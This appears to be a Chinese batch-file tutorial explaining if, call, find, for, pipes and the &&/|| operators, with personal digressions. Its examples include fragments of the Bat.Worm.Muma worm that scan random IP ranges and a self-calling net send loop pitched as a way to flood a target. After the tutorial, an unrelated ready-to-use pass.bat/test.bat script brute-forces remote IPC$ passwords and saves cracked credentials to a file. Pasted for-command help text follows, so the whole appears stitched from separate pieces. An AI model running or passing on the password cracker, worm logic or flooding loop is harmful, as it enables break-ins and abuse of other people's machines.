<br><br>批处理脚本中最重要的几个命令，将在这一章详细介绍，但是很遗憾，有些细节到现在我都没掌握的很好，甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力，即使一直都没有收获。所以可能讲的会比较笼统，但我会告诉你方法，剩下的就是时间问题了，需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒，滴水穿石非一日之功。有些事情，比如学批处理，比如爱一个人，都是不能速成的，甚至还会有付出艰辛而收获为甚微的情况。再次重申，看这篇教程的时候，一定要静下心来，除非你已经掌握了这篇教程的所有东西----但那也就不必看了，浪费时间！ <br><br>7、if <br><br>接上一章，接着讲if命令。总的来说，if命令是一个表示判断的命令，根据得出的每一个结果，它都可以对应一个相应的操作。关于它的三种用法，在这里分开讲。 <br><br>(1)、输入判断。还是用例五里面的那几句吧： <br><br>if "%1"=="" goto usage <br>if "%1"=="/?" goto usage <br>if "%1"=="help" goto usage <br><br>这里判断输入的参数情况，如果参数为空（无参数），则跳转到usage；如果参数为/?或help时（大家一般看一个命令的帮助，是不是输入的/?或help呢，这里这么做只是为了让这个脚本看起来更像一个真正的程序），也跳转到usage。这里还可以用否定形式来表示&#8220;不等于&#8221;，例如：if not "%1"=="" goto usage，则表示如果输入参数不为空就跳转到usage（实际中这样做就没意义了，这里介绍用法，管不了那么多了，呵呵。）是不是很简单？其实翻译成中文体会一下就understand了。 <br><br>(2)、存在判断。再看例二里这句： <br><br>if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif <br><br>如果存在那些gif文件，就删除这些文件。当然还有例四，都是一样的道理。注意，这里的条件判断是判断存在的，当然也可以判断不存在的，例如下面这句&#8220;如果不存在那些gif文件则退出脚本&#8221;：if not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一个not来表示否定而已。 <br><br>(3)、结果判断。还是拿例五开刀（没想到自己写的脚本，竟然用处这么大，呵呵）： <br><br>masm %1.asm <br>if errorlevel 1 pause &amp; edit %1.asm <br>link %1.obj <br><br>先对源代码进行汇编，如果失败则暂停显示错误信息，并在按任意键后自动进入编辑界面；否则用link程序连接生成的obj文件。这里只介绍一下和if命令有关的地方，&amp;命令后面会讲到。这种用法是先判断前一个命令执行后的返回码（也叫错误码，DOS程序在运行完后都有返回码），如果和定义的错误码符合（这里定义的错误码为1），则执行相应的操作（这里相应的操作为pause &amp; edit %1.asm部分）。 <br><br>另外，和其他两种用法一样，这种用法也可以表示否定。用否定的形式仍表达上面三句的意思，代码变为： <br><br>masm %1.asm <br>if not errorlevel 1 link %1.obj <br>pause &amp; edit %1.asm <br><br>看到本质了吧？其实只是把结果判断后所执行的命令互换了一下，&#8220;if not errorlevel 1&#8221;和&#8220;if errorlevel 0&#8221;的效果是等效的，都表示上一句masm命令执行成功（因为它是错误判断，而且返回码为0，0就表示否定，就是说这个错误不存在，就是说masm执行成功）。这里是否加not，错误码到底用0还是1，是值得考虑的两个问题，一旦搭配不成功脚本就肯定出错，所以一定要体会的很深刻才行。如何体会的深刻？练习！自己写一个脚本，然后把有not和没有not的情况，返回码为0或1的情况分别写进去执行（怎么，嫌麻烦啊？排列组合算一下才四中情况你就嫌麻烦了？后面介绍管道命令和组合命令时还有更麻烦的呢！怕了？呵呵。），这样从执行的结果中就能很清楚的看出这两种情况的区别。 <br><br>这种用errorlevel结果判断的用法是if命令最难的用法，但也恰恰是最有用的用法，如果你不会用errorlevel来判断返回码，则要达到相同的效果，必须用else来表示&#8220;否则&#8221;的操作，是比较麻烦的。以上代码必须变成： <br><br>masm %1.asm <br>if exist %1.obj link %1.obj <br>else pause &amp; edit %1.asm <br><br>关于if命令的这三种用法就say到这里，理解很简单，但应用时就不一定用的那么得心应手，主要是熟练程度的问题。可能有的朋友有点惊讶，我怎么没给出类似下面三行的用法介绍，是因为下面三行是if命令帮助里对它自身用法的解释，任何人只要一个&#8220;if /?&#8221;就能看到，我没有必要在这里多费口舌；更重要的原因，是我觉得这样介绍的不清楚，看的人不一定看的懂，所以我采用上面自己对if命令的理解来介绍。一定要注意的是，这三种用法的格式各不相同，而且也是不能改变的，但实际上可以互换（以为从本质上讲，这三种用法都是建立在判断的基础上的，哲学教我们学会透过现象看事物本质！）。有兴趣的朋友可以自己研究一下。 <br><br>IF [NOT] ERRORLEVEL number do command <br>IF [NOT] string1==string2 do command <br>IF [NOT] EXIST filename do command <br>8、call <br><br>学过汇编或C的朋友，肯定都知道call指令表示什么意思了，在这里它的意思其实也是一样的。在批处理脚本中，call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八（默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat）： <br><br>start.bat： <br>&#8230;&#8230; <br>CALL 10.BAT 0 <br>&#8230;&#8230; <br><br>10.bat： <br>&#8230;&#8230; <br>ECHO %IPA%.%1 &gt;HFIND.TMP <br>&#8230;&#8230; <br>CALL ipc.bat IPCFind.txt <br><br>ipc.bat： <br>for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k <br><br>有没有看出什么不对的地方？没看出来啊？没看出来就对了，其实就没有不对的地方嘛，你怎么看的出来！从上面两个脚本，你可以得到如下信息：1、脚本调用可以灵活运用，循环运用、重复运用。2、脚本调用可以使用参数！关于第一点就不多说了，聪明的你一看就应该会，这里说一下第二点。 <br><br>在start.bat中，10.bat后面跟了参数0，在执行时的效果，其实就是把10.bat里的参数%1用0代替。在start.bat中，ipc.bat后面跟了参数ipcfind.txt（一个文件，也可以做参数），执行时的效果，就是用ipc.bat中的每一行的三个变量（这里不懂没关系，学过for命令后就懂了），对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的，使用时需要好好体会。在初学期间，可以先学习只调用脚本，至于连脚本的参数一起使用的情况，在后面的学习中自然就会有比较深刻的理解，这是因为当你已经可以灵活运用批处理脚本后，如何使代码写的更精简更完美更高效就自然包括到了考虑的范围，这时候你就会发现在调用脚本时直接加入参数，可以使代码效率加倍。By the way，上面的这几个脚本，都是Bat.Worm.Muma病毒的一部分，在后面的教程里，大家将有机会见到这个病毒的真面目。 那是不是说，在同一个目录下至少存在两个批处理脚本文件（只有一个你调用谁？）？呵呵，注意了，这句话错了！！只有一个照样可以调用----调用自身！看例九（默认脚本文件名a.bat）： <br><br>net send %1 This is a call example. <br>call a.bat <br><br>这两句一结合，效果自然不怎么样，因为只有一台机器来发消息，谁怕谁啊？我给你来个礼尚往来！可如果有100台机器同时执行，而且每台机器开10和窗口同时向一个目标机器发消息的话，呵呵。这里call a.bat的作用就是调用自身，执行完前一句net send命令后再调用自身，达到了循环执行的目的。 <br><br>给出一个很有意思的脚本，有兴趣的朋友可以实验一下。例十（默认脚本文件名为a.bat）： <br><br>call a.bat <br><br>一定要在DOS窗口下执行，否则只会看到一个窗口一闪而过，看不到最后结果。等执行完后，当脚本被执行了1260次，别忘了想一下到底是为什么！爱情有时候跟这个脚本一样，一旦陷入死循环，最后的结果都是意想不到的。只是爱情，绝对不会等到被毫无理由的循环这么多次，也许在第三次时就出现了love is aborted的提示。 <br><br>9、find <br><br>这是一个搜索命令，用来在文件中搜索特定字符串，通常也作为条件判断的铺垫程序（我怎么突然想起了这四个字？）。这个命令单独使用的情况在批处理中是比较少见的，因为没什么实际意义。还是借例三来说明： <br><br>@echo off <br>netstat -a -n &gt; a.txt <br>type a.txt | find "7626" &amp;&amp; echo "Congratulations! You have infected GLACIER!" <br>del a.txt <br>pause &amp; exit <br><br>先用netstat命令检查是否有冰河默认的端口7626在活动，并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容，再在列出的内容中搜索字符串&#8220;7626&#8221; ，发现有的话则提示中了冰河，否则退出。看，find命令其实就这么简单，但有一点必须要注意到：如果不使用type命令列出a.txt中的内容，而是直接使用find命令在a.txt中找&#8220;7626&#8221;（find a.txt "7626" &amp;&amp; echo "Congratulations! You have infected GLACIER!"），就必须得给出这个a.txt的绝对路径（我试过了，find并没有默认路径就是当前路径的功能，必须手动指定。也许是我错了，欢迎指正）。因为在find命令的帮助里有这么一句话：如果没有指定路径，find将搜索键入的或者由另一个命令产生的文字。这里的&#8220;另一个命令&#8221;自然就指的type命令了。 <br><br>至于find命令的其他几个参数如v、n、i等，有兴趣的朋友自己去研究吧，这已经属于DOS学习的内容了，这里就不做介绍。关于find命令和其他命令的一些更精妙的用法（有些简直令人叫绝），后续的教程中将介绍，希望关注。 <br><br>10、for、set、shift <br><br>为什么把这三个命令放到一起来讲？原因除了我说明外，恐怕谁也想不到！很简单的一句话：其实我也不太懂！是的，对于这两个命令，我是从研究Bat.Worm.Muma病毒开始学习的，时间过去了不少，但还是没完全搞明白，我怕讲出来连自己都看不懂，我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你，如何让这两个命令给自己留一个初步的印象，其实也就是这两个命令的入门，而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令（特别是for）谈何容易！也许你会表扬我说我诚实、不懂就不懂；也许你会骂我，让我既然不懂就赶紧滚蛋，不要在这里丢人显眼；也许你还会说一些别的这样那样好听或不好听的话，都随便你了，即使我不同意你说的话，我也会誓死捍卫你说话的权利。看例十一： <br><br>@echo off <br>for /? &gt; for.txt <br>set /? &gt; set.txt <br>shift /? &gt;shift.txt <br>exit <br><br>执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件，里面分别记录了for命令、set命令和shift命令的帮助信息。地球人都能看懂，我就不多说了。我在网上曾经找了很长时间这三个命令的教程，但都不理想，基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后，一定要写一篇用自己的文字总结出来的for、set和shift教程（关于shift命令，后面介绍批处理的参数时还将涉及到），一定会的，这是我的心愿之一！需要注意的一点是，这三个命令的帮助里 ，介绍的都比较死板，虽然也举了一些例子，但这是远远不够的。要掌握这两个命令，最需要的就是耐心！没写错，就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了，要进一步练习领会这两个命令，难道不需要更大的耐心？实战练习的机会我会留给你的，关键还是那句话，看你有没有耐心去研究了。看看例十二： <br><br>START.BAT： <br>CALL MUMA.BAT <br>SET IPA=192.168 <br>CALL 10.BAT 0 <br>:NEARAGAIN <br>netstat -n|find ":" &gt;A.TMP <br>FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&amp;&amp; SET NUM2=%%J&amp;&amp; SET NUM3=%%K&amp;&amp; SET NUM4=%%L&amp;&amp; SET NUM5=%%M&amp;&amp; CALL NEAR.BAT <br>:START <br>CALL RANDOM.BAT <br>IF "%NUM1%"=="255" GOTO NEARAGAIN <br>IF "%NUM1%"=="192" GOTO NEARAGAIN <br>IF "%NUM1%"=="127" GOTO NEARAGAIN <br>IF "%NUM2%"=="255" GOTO NEARAGAIN <br>IF "%NUM3%"=="255" GOTO NEARAGAIN <br>IF "%NUM4%"=="255" GOTO NEARAGAIN <br>SET IPA=%NUM1%.%NUM2% <br>ECHO START &gt; A.LOG <br>PING %IPA%.%NUM3%.1&gt;B.TMP <br>PING %IPA%.%NUM3%.%NUM4%&gt;&gt;B.TMP <br>FIND /C /I "from" B.TMP <br>IF ERRORLEVEL 1 GOTO START <br>CALL 10.BAT %NUM3% <br>DEL A.LOG <br>GOTO START <br><br><br>这是Bat.Worm.Muma病毒的起始脚本，设置了病毒运行的环境变量。是不是看的头都大了？又忘了写在第一章第一段的那句话（静下心来！），你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人，你得学会宽容，打不得骂不得，用你宽大的胸怀去包容她的一切，即使你发现爱她的过程如看上面代码的过程一样让你头大，但你还是得爱下去----爱需要理由吗？不需要吗？需要吗？不需要吗&#8230;&#8230;等到风平浪静后，最直观的收获就是，你的耐心变的前所未有的充足，面对她的复杂和善变，你自己会处变不惊，以自己的方式去从容应付曾经应付不了的场面，即使到最后一身伤痕，也会感慨曾经的举动有多么伟大。 <br><br>没错，这就是批处理的魅力，这就是爱的魅力。让你受了伤还感谢伤你的人。这种感觉就好象在自己最喜欢的音乐声中被人强奸，痛并快乐着。 <br><br>不得不再次重申一遍，各种DOS命令是批处理的BODY（我实在找不出一个更合适的词来形容他们之间的关系），学好DOS命令是学好批处理的前提。其他DOS命令如copy、dir、del、type、path、break、start等内部命令，以及ping、net、cmd、at、sort、attrib、fc、find等外部命令，在批处理里的应用非常广泛。这篇教程的作用，是教你认识批处理，以及如何利用DOS命令组合出来一个完美的批处理脚本，去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的，这已经超出了本文的范畴，在此就不赘述了。 <br><br>不知不觉中第三章已经结束了。耳麦里传来的依然是陈晓东的《比我幸福》，每隔4分32秒就自动重播。虽然我不并不很喜欢陈晓东，可这并不妨碍我喜欢音乐，喜欢这首描写的如此让人感慨的歌。请你一定要比我幸福/才不枉费我狼狈退出/再痛也不说苦/爱不用抱歉来弥补/至少我能成全你的追逐/请记得你要比我幸福/才值得我对自己残酷/我默默的倒数/最后再把你看清楚/看你眼里的我好馍糊/慢慢被放逐。我如同一个因年老失色而拉不到客的老妓女，绝望的徘徊在曾经辉煌的红灯区，用一脸的木然瞟一眼来来去去的人群，默默的回忆自己并不光彩的过去，幻想自己将要面对的未来。直到看见那些幸福依偎在一起的情侣们，才突然间发现上帝的公平，和这种公平的残忍。 可以说，批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介绍，原因我已经说了，因为我也是个菜，我也不太懂----但我正在学！你呢？今天又去了一趟图书馆，淘金一样发现了一本叫《DOS批文件》的东东，藏在一个角落里落满了灰，五本摞一起就跟砖头一样厚了。大概翻了一下，里面介绍了很多比较底层和基础的东西，虽然从思路上讲，已经有点time out了，很多东西已经基本没有利用的价值（这就是信息时代的更新速度），但还是很值得看的。于是打算下午淘过来，放假回去了再好好研究一番，连同那几个不熟悉的命令一起搞熟了，再续写这篇教程。我始终坚信，没有最好只有更好。 <br><br>但是很可惜，等到下午再去的时候，图书馆楼梯口已经立了一个牌子，上面写着out of service----人家这学期的工作结束了。于是回到宿舍打算继续写第四章，正在这时又得到一个&#8220;振奋人心&#8221;的消息：期末考试有一科挂了，而且是全班第一----这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头，整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门，学校里的人越来越少，迎面过来的几个同学也都一身行李，忙碌着准备回家过年，内心的孤寂和失落如同夏日里暴雨前的乌云，迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个人在天桥上发呆，还能怎么样，连期末考试都应付不了的失败男人。 <br><br>&#8220;课间休息&#8221;时间好象长了点，呵呵，上课了！从这一章开始，将详细介绍批处理中常用的几个组合命令和管道命令。这些命令虽然不是必须的，如同爱一个人时不一定非得每天去陪，但如果少了这个过程，事情就会变的复杂而不完美，所以我认为管道命令和组合命令是批处理的调味剂，几乎是少不了的。 <br><br>下面从管道命令讲起。常用的管道命令有以下这些：|、&gt;、&gt;&gt; <br><br>11、| <br><br>这个命令恐怕大家不是很陌生，经常操作DOS的朋友都应该知道，当我们查看一个命令的帮助时，如果帮助信息比较长，一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕，而是直接显示到帮助信息的最后。如在提示符下输入help回车时，就会看到当前DOS版本所支持的所有非隐含命令，但你只能看到最后的那些命令，前面的早就一闪而过了，如何解决这个问题？看例十三： <br><br>help | more <br><br>回车后会发现显示满一屏幕后就自动暂停，等候继续显示其他信息。当按写回车时，变成一个一个的出现；按下空格键时一屏幕一屏幕显示，直到全部显示完为止；按其他键自动停止返回DOS。 <br><br>为什么会出现上述现象？答案很简单，这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令，对理解|命令的用法有很大帮助。 <br><br>11.1、help命令。其实这个命令是不需要多说的，但在上述例子中help命令的用法比较特殊，直接在DOS提示符下输入help命令，结果是让DOS显示其所支持的所有非隐含命令，而在其他地方用help命令，如输入net help回车，则是显示net命令的帮助信息。 <br><br>11.2、more命令。可能很多朋友以前就没有接触过这个命令，这个命令在Linux下的用处非常广泛，也是管道命令之一。大家可以找一篇比较长的文章（a.txt）在DOS提示符下输入如下两个命令去比较一下差别：more a.txt和type a.txt。利用more命令，可以达到逐屏或逐行显示输出的效果，而type命令只能一次把输出显示完，最后的结果就是只能看到末尾的部分。在例十三里，more命令的作用就是让输出的信息逐屏或逐行显示。 <br><br><br>看到这里，你是否已经能隐约感受到了|命令的作用了？没错，它的作用，就是把前一命令的输出当后一命令的输入来用的。在例十三里，前一命令的输出，就是help命令执行后显示的DOS所支持的所有非隐含命令，而这个结果刚好做了后一命令more的输入。所以例十三和下面的例十四是等效的： <br><br>help &gt; a.txt <br>more a.txt <br>del a.txt <br><br>这里利用另一管道命令&gt;生成了一个a.txt文件作为中间环节，在用more命令查看a.txt文件后再删除a.txt文件（例十三的所有操作是在内存中进行的，不生成文件）。可以看出，正确使用管道命令|可以带来事半功倍的效果。 <br><br>结合例十三和例十四，以及前面的例九再体会一遍：|命令的作用，就是让前一命令的输出当做后一命令的输入。 <br><br>12、&gt;、&gt;&gt; <br><br>这两个命令的效果从本质上来说都是一样的，他们都是输出重定向命令，说的通俗一点，就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是，&gt;会清除掉原有文件中的内容后把新的内容写入原文件，而&gt;&gt;只会另起一行追加新的内容到原文件中，而不会改动其中的原有内容。例十五： <br><br>echo @echo off &gt; a.bat <br>echo echo This is a pipeline command example. &gt;&gt; a.bat <br>echo echo It is very easy? &gt;&gt; a.bat <br>echo echo Believe your self! &gt;&gt; a.bat <br>echo pause &gt;&gt; a.bat <br>echo exit &gt;&gt; a.bat <br><br>依次在DOS提示符下输入以上各行命令，一行一个回车，将在当前目录下生成一个a.bat文件，里面的内容如下： <br><br>@echo off <br>echo This is a pipeline command example. <br>echo It is very easy? <br>echo Believe your self! <br>pause <br>exit <br><br>看到这里，你得到了多少信息？1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本，而不需要专门的文本编辑工具；2、管道命令&gt;和&gt;&gt;的区别如上所述。如果这里只用&gt;命令来完成上面操作，最后也会生成一个a.bat，但里面的内容就只剩下最后一行exit了。所以&gt;和&gt;&gt;一般都联合起来用，除非你重定向的输出只有一行，那么就可以只用&gt;了。结合例一再仔细体会输出重定向管道命令&gt;和&gt;&gt;的用法。 <br><br>13、&lt;、&gt;&amp;、&lt;&amp; <br><br>这三个命令也是管道命令，但它们一般不常用，你只需要知道一下就ok了，当然如果想仔细研究的话，可以自己查一下资料。 <br><br>&lt;，输入重定向命令，从文件中读入命令输入，而不是从键盘中读入。 <br>&gt;&amp;，将一个句柄的输出写入到另一个句柄的输入中。 <br>&lt;&amp;，刚好和&gt;&amp;相反，从一个句柄读取输入并将其写入到另一个句柄输出中。 <br><br>关于这三个管道命令的举例，在后面批处理脚本的精妙应用中还将涉及到 下面介绍组合命令：&amp;、&amp;&amp;、|| <br><br>组合命令，顾名思义，就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的，而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了，那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用，就如同给爱人陪不是，说一句是说，说十句也是说，不一次把好话都说了出来，效果可能会好些----当然得排除一种特殊情况：这些话是否有先后顺序，有些话是否可以同时说。在批处理脚本里也一样，有些时候某些命令是不能同时执行的，后面给你说。 <br><br>刚刚又送走了一个同学，人去楼空的感觉越来越明显，望着空荡荡的床铺，平日里喧闹的宿舍就只剩下我一个人了，整个世界只有那个平时令人非常讨厌的老鼠这时候才显得可爱起来----只有它会陪着我在这不敢开灯的漆黑夜里----一个连期末考试都应付不了的失败男人。失败！我感到快要呼吸不过来，这种失败的压力简直令我窒息，简直让我的手接收不到大脑的信号，简直让这篇未完成的教程夭折。但我能怪谁？ <br><br>忙碌了一学期要过年了却挂了科，失败；挂了科也倒罢了，竟然一个人拖全班的后退，失败中的失败；更失败的，是在这最失落的时候，竟然找不到一个人可以倾诉；然而最失败的，是突然发现自己竟然如此脆弱，如此耐不住寂寞。不过这倒也解开了心中疑惑很久的一个问题：为什么明知道那段情是一个旋涡却还心甘情愿的往里面跳----这就是青春，风一样的年龄，火一样不安的心。不再爱了，我不要再一个人的时候苦苦等待；不再爱了，我不要在你给的囚笼里怜悯的爱；不再爱了，我不要在别人的视线里如此可笑；不再爱，我不再爱。就算塌下来，我也要一个人扛着，头不能低腰不能弯，不能喘息不能倾诉，因为虽然失败，但还是男人，是男人就不能向困难低头！ <br><br>14、&amp; <br><br>这可以说是最简单的一个组合命令了，它的作用是用来连接n个DOS命令，并把这些命令按顺序执行，而不管是否有命令执行失败。例十六： <br><br>copy a.txt b.txt /y &amp; del a.txt <br><br>其实这句和move a.txt b.txt的效果是一样的，只不过前者是分了两步来进行的（在后面还将涉及到具体使用哪种方法的问题）。这个命令很简单，就不多费口舌了，唯一需要注意的一点是，这里&amp;两边的命令是有执行顺序的，从前往后执行。 <br><br><br>15、&amp;&amp; <br><br>切记，这里介绍的几个命令都是组合命令，所以他们前后都必须都有其他命令（要不如何组合？）。这个命令也不例外，它可以把它前后两个命令组合起来当一个命令来用，与&amp;命令不同之处在于，它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错，一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例十七： <br><br>dir 文件://1%/www/user.mdb &amp;&amp; copy 文件://1%/www/user.mdb e:\backup\www <br><br>如果远程主机存在user.mdb，则copy到本地e:\backup\www，如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢？呵呵。其实它和下面这句的作用是一样的： <br><br>if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www <br><br>至于你喜欢用哪个就随便了，我没办法判断dir和if两个命令哪一个执行效率更高，所以不知道用哪个更好，呵呵。 <br><br>你是否还记得&#8220;有些命令是不能同时执行的&#8221;？你是否相信这句话？当然得相信，不信就给你出道题：把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如何来搞定这道题？有朋友说，这还不是很easy的问题吗？同时执行两个dir，然后把得到的结果&gt;到a.txt里就ok了嘛，看例十八： <br><br>dir c:\ &amp;&amp; dir d:\ &gt; a.txt <br><br>仔细研究一下这句执行后的结果，看看是否能达到题目的要求！错了！这样执行后a.txt里只有D盘的信息！为什么？就因为这里&amp;&amp;命令和&gt;命令不能同时出现一个句子里（批处理把一行看成一个句子）！！组合命令&amp;&amp;的优先级没有管道命令&gt;的优先级高（自己总结的，不妥的地方请指正）！所以这句在执行时将本分成这两部分：dir c:\和dir d:\ &gt; a.txt，而并不是如你想的这两部分：dir c:\ &amp;&amp; dir d:\和&gt; a.txt。要使用组合命令&amp;&amp;达到题目的要求，必须得这么写： <br><br>dir c:\ &gt; a.txt &amp;&amp; dir d:\ &gt;&gt; a.txt <br><br>这样，依据优先级高低，DOS将把这句话分成以下两部分：dir c:\ &gt; a.txt和dir d:\ &gt;&gt; a.txt。例十八中的几句的差别比较特殊，值得好好研究体会一下。 <br><br>当然这里还可以利用&amp;命令（自己想一下道理哦）： <br><br>dir c:\ &gt; a.txt &amp; dir d:\ &gt;&gt; a.txt <br><br>16、|| <br><br>这个命令的用法和&amp;&amp;几乎一样，但作用刚好和它相反：利用这种方法在执行多条命令时，当遇到一个执行正确的命令就退出此命令组合，不再继续执行下面的命令。题目：查看当前目录下是否有以s开头的exe文件，如果有则退出。例十九： <br><br>@echo off <br>dir s*.exe || exit <br><br>其实这个例子是有破绽的，你看出来了吗？其实很简单，自己试试就知道了嘛：如果存在那个exe文件，就退出；如果不存在那个exe文件，也退出！为什么？因为如果不存在那个.exe文件，则前一条命令dir s*.exe执行肯定是不成功的，所以就继续执行exit，自然就退出了，呵呵。那么如何解决题目给出的问题呢？看例二十： <br><br>@echo off <br>dir s*.exe || echo Didn't exist file s*.exe &amp; pause &amp; exit <br><br>这样执行的结果，就能达到题目的要求，是否存在s*.exe将出现两种结果。这里加暂停的意思，当然是让你能看到echo输出的内容，否则一闪而过的窗口，echo就白写了。 <br><br>给出两个更好研究优先级（同时也是更难理解）的脚本，仔细研究它们的区别，以便彻底理解各种命令的优先级顺序，对以后自己利用这些命令写脚本有很大的好处----不会出错！OK，请看例二十一和例二十二： <br>例二十一： <br><br>@echo off <br>dir a.ttt /a &amp; dir a.txt || exit <br><br>例二十二： <br><br>@echo off <br>dir a.ttt /a &amp;&amp; dir a.txt || exit <br><br>警告：患有心脑血管病的朋友请不要研究以上两例，否则轻者头大如斗，重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责，与本人和本论坛无关。特此警告！ <br><br>有关管道命令和组合命令就大概介绍到这里了，不知道聪明的你是否理解？呵呵，能理解就成天才了，除非你以前就已经掌握！千万别小看了这几个鬼命令，大棒槌是我的说，简直就不是人学的东西！但我还是静下心来研究了一番，最后得出的结论如上所述，已经一点不剩的交给你了，希望你好好收藏并消化吸收，当然有错误被你发现了，或者不完整的地方被你看出来了，请赶紧告诉我一声！ <br><br>这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程：&#8220;简明批处理教程&#8221;，虽然说的比较全面，但看起来很不过瘾。在对for等命令介绍时就一个for /? &gt; a.txt &amp; start a.txt完事了（当然这一点上我不能说人家什么，毕竟我连for /?都没给出），而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令，是因为他们才是批处理的精华和灵魂，能否正确利用好这几个命令，是能否掌握批处理的前提条件。如for、set等DOS命令的问题，可以从DOS的角度出发专门有针对性的学习，但有关这几个命令的问题，却是不容易精通掌握的----他们之间的关系太复杂了！ <br>将下列代码存为bat文件 <br>1、如果用字典破解：pass.bat 字典文件路径及名称 主机 用户名 <br>2、如果用数字破解：pass.bat 起始数 步长 结束数 主机 用户名 <br>密码破解出来之后，存放于c:\pass.txt文件里面。 <br>将下列代码存为pass.bat文件 <br>@echo off <br>echo ------------------------------------------------------------------- &gt;&gt;c:\pass.txt <br>echo ------------------------------------------------------------------- &gt;&gt;c:\pass.txt <br>date /t &gt;&gt;c:\pass.txt <br>time /t &gt;&gt;c:\pass.txt <br>echo 破解结果： &gt;&gt;c:\pass.txt <br>if "%6"=="1" goto 大棒槌是我的说2 <br>:大棒槌是我的说1 <br>start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3 <br>goto quit <br>:大棒槌是我的说2 <br>start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5 <br>:quit <br>将下列代码存为test.bat <br>net use \\%1\ipc$ %2 /user:"%3" <br>goto answer%ERRORLEVEL% <br>rem %ERRORLEVEL%表示取前一命令执行返回结果，net use成功返回0，失败返回2 <br>:answer0 <br>echo 远程主机："%1" &gt;&gt;c:\pass.txt <br>echo 用 户："%3" &gt;&gt;c:\pass.txt <br>echo 密 码：%2 &gt;&gt;c:\pass.txt <br>net use \\%1\ipc$ /delet <br>exit <br>:answer2 <br><br>For <br>对一组文件中的每个文件运行指定的命令。 <br><br>可以在批处理程序中或直接从命令提示符使用 for 命令。 <br><br>要在批处理程序中使用 for 命令，请使用以下语法： <br><br>for %%variable in (set) docommand [command-parameters] <br><br>要在命令提示符下使用 for，请使用以下语法： <br><br>for %variable in (set) do command [command-parameters] <br><br>参数 <br><br>%%variable 或 %variable <br><br>代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable（或 %variable），直到此命令（在 command-parameters 中指定）处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。 <br><br>(set) <br><br>指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。 <br><br>command <br><br>指定要在指定的 set 所包含的每个文件上执行的命令。 <br><br>command-parameters <br><br>指定要用于指定命令（如果指定的命令要使用任何参数或开关）的任何参数或开关。 <br><br>如果启用了命令扩展（Windows 2000 中的默认设置)，将支持 for 命令的其他形式。 <br>For 命令的其他形式 <br>如果启用了命令扩展，将支持如下 for 命令的其他格式： <br><br>只限于目录 <br><br>for /D [%% | %]variable in (set) docommand [command-parameters] <br><br>如果 set 包含通配符（* 和 ?），则指定与目录名匹配，而不是文件名。 <br><br>递归 <br><br>for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters] <br><br>进入根目录树[drive:]path，在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录，则假定为当前目录。如果 set 只是一个句号 (.) 字符，则只列举目录树。 <br><br>迭代 <br><br>for /L [%% | %]variable in (start，step，end) do command [command-parameters] <br><br>集合是一系列按步长量划分的、从头到尾的数字。这样，(1,1,5) 将生成序列 1 2 3 4 5，而 (5,-1,1) 将生成序列 (5 4 3 2 1)。 <br><br>文件解析 <br><br>for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters] <br><br>for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters] <br><br>for /F ["options"] [%% | %]variable in ('command') do command [command-parameters] <br><br>或者，如果出现 usebackq 选项： <br><br>for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters] <br><br>for /F ["options"] [%% | %]variable in ('literal string') do command [command-parameters] <br><br>for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters] <br><br>filenameset 参数指定一个或多个文件名称。在继续到 filenameset 中的下一个文件之前，每个文件都会被打开、读取和处理。 <br><br>过程由读取文件、分成独立的文本行及然后将每行解析成零个或更多个令牌组成。然后使用设置为找到的一个或多个令牌字符串的变量值（或多个值）集合调用 for 循环体。默认情况下，/F 传递每个文件每一行的第一个空白分隔符号。 